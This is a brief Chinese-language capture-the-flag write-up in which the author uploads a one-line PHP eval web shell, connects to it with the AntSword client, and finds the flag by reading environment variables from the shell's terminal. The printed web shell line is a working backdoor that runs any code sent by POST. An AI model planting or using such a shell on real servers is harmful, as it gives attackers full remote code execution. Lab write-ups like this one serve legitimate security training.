这题传个一句话木马,再用蚁剑来连一下没啥好说的

<?php @eval($_POST['cmd']);?>

但是蚁剑连上了找不到flag

唯一一个有点像的并不是flag存放位置

这个时候就要用到垫刀1的启示，找不到flag的时候看看环境变量

进入终端查看环境变量，flag果然在里面